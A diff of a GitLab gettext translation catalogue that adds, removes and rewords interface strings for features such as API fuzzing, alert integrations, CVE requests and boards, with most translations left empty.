+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -255,6 +262,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -510,6 +524,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -522,6 +539,13 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -550,23 +574,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{count} more"
msgstr ""
@@ -665,7 +675,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1082,6 +1092,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1219,6 +1232,9 @@ msgstr[3] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1313,6 +1329,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1341,6 +1364,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1355,6 +1392,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1390,6 +1434,20 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1507,9 +1565,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1519,13 +1574,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1600,9 +1652,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1621,13 +1670,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "API version"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1639,6 +1700,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1651,16 +1715,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1669,16 +1736,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1973,6 +2033,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2048,6 +2111,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2105,6 +2168,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Přidat reakci"
@@ -2123,6 +2189,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2216,6 +2285,9 @@ msgstr ""
msgid "Additional text"
msgstr "DodateÄný text"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2384,9 +2459,6 @@ msgstr "Chystáte se zastavit všechny úlohy. To způsobí přerušení všech
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2822,6 +2894,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3534,6 +3648,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3546,9 +3663,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3639,7 +3753,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4012,6 +4126,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4030,9 +4150,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4232,6 +4355,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4274,13 +4403,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4711,6 +4840,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4813,6 +4945,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4831,6 +4966,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4855,7 +4993,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5435,6 +5593,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5526,6 +5690,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5622,6 +5807,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5742,6 +5930,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5769,6 +5960,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6426,6 +6626,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6459,6 +6662,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8596,9 +8868,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8656,9 +8925,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
